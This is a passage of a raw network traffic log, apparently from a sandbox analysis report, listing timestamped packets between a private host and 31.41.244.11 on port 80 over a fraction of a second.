Nov 18, 2024 19:04:15.142499924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142504930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142532110 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142538071 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142565012 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142570972 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142597914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142695904 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142725945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142743111 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142759085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142765999 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142788887 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142795086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142823935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142829895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142863989 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142935991 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142966986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.142975092 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.142998934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.143007040 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.143029928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.143039942 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.143062115 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.143071890 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.143105030 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.143205881 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.143237114 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.143258095 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.143281937 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.143305063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.143351078 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.143837929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.143870115 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.143887043 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.143915892 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.143923998 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.143958092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.143989086 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.143989086 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144013882 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144025087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144038916 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144052982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144064903 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144092083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144098997 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144140959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144143105 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144172907 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144186020 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144208908 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144218922 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144239902 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144252062 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144270897 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144284010 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144301891 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144313097 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144334078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144345045 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144366026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144376993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144397020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144409895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144428015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144447088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144454956 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144471884 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144485950 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144495964 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144520044 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144531012 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144563913 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144566059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144597054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144607067 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144628048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144630909 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144659996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144671917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144692898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144701958 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144726992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144747972 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144757986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144769907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144793034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144804955 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144825935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144839048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144857883 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144870043 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144889116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144901037 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144917965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144926071 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144948959 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144962072 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.144979954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.144992113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.145010948 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.145042896 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.145148993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.145149946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.145149946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.145354033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.145385981 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.145396948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.145412922 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.145430088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.145443916 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.145454884 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.145484924 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.177932024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.177995920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178045988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178061008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178081036 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178081989 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178090096 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178116083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178131104 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178150892 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178163052 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178196907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178316116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178365946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178369045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178405046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178438902 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178442955 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178457022 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178484917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178523064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178558111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178570032 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178591967 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178602934 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178627968 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178637028 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178668022 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178817987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178852081 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178858995 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178885937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178895950 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178931952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.178944111 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178977013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.178987026 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.179017067 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.239289045 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239362001 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.239427090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239435911 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239443064 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239449024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239466906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.239490986 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.239589930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239605904 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239620924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239635944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239646912 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.239660025 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.239682913 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.239756107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239769936 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239798069 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.239811897 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.239942074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239948034 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239953995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239962101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.239979029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240008116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240092993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240108967 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240124941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240129948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240153074 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240226030 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240258932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240284920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240298033 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240298986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240314960 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240323067 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240353107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240353107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240443945 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240459919 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240474939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240480900 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240495920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240503073 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240514994 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240533113 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240624905 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240641117 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240664959 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240678072 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240812063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240828037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240843058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240854979 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240859032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240874052 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240895987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240906000 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.240974903 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.240991116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.241004944 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.241019964 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.241019964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.241036892 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.241039038 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.241063118 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.241087914 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.241519928 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.241553068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.241568089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.241586924 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.241594076 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.241621017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.241628885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.241661072 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.241673946 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.241708994 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.241719961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.241754055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.241784096 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.241789103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.241806984 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.241835117 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.255431890 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.255467892 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.255507946 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.255527020 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.255592108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.255628109 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.255637884 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.255661964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.255671024 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.255705118 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.255714893 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.255752087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.255757093 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.255856991 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.255884886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.255918980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.255928993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.255953074 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.255960941 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.255992889 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.256005049 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.256026030 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.256036997 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.256058931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.256069899 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.256093979 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.256099939 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.256141901 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.256380081 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.256413937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.256421089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.256449938 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.256458044 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.256479979 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.256494045 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.256520987 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.258949995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.258980036 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.259001017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.259012938 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.259021997 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.259048939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.259058952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.259088039 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.259104967 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.259116888 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.259138107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.259150982 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.259428978 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.259474993 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.259540081 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.259572029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.259588003 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.259615898 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.259747982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.259798050 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.259814978 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.259850025 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.259869099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.259887934 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.259887934 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.259923935 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.259938002 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.259967089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.259999990 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260042906 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260076046 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260122061 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260179996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260222912 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260376930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260412931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260416031 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260447025 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260457039 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260483027 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260490894 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260516882 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260528088 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260554075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260584116 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260587931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260591984 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260629892 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260669947 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260703087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260716915 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260736942 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260742903 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260778904 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260802984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260837078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260859013 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260869026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260883093 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260909081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260921955 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260957956 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260965109 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.260993004 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:15.260998964 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261033058 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:15.261040926 CET	80	49977	31.41.244.11	192.168.2.5
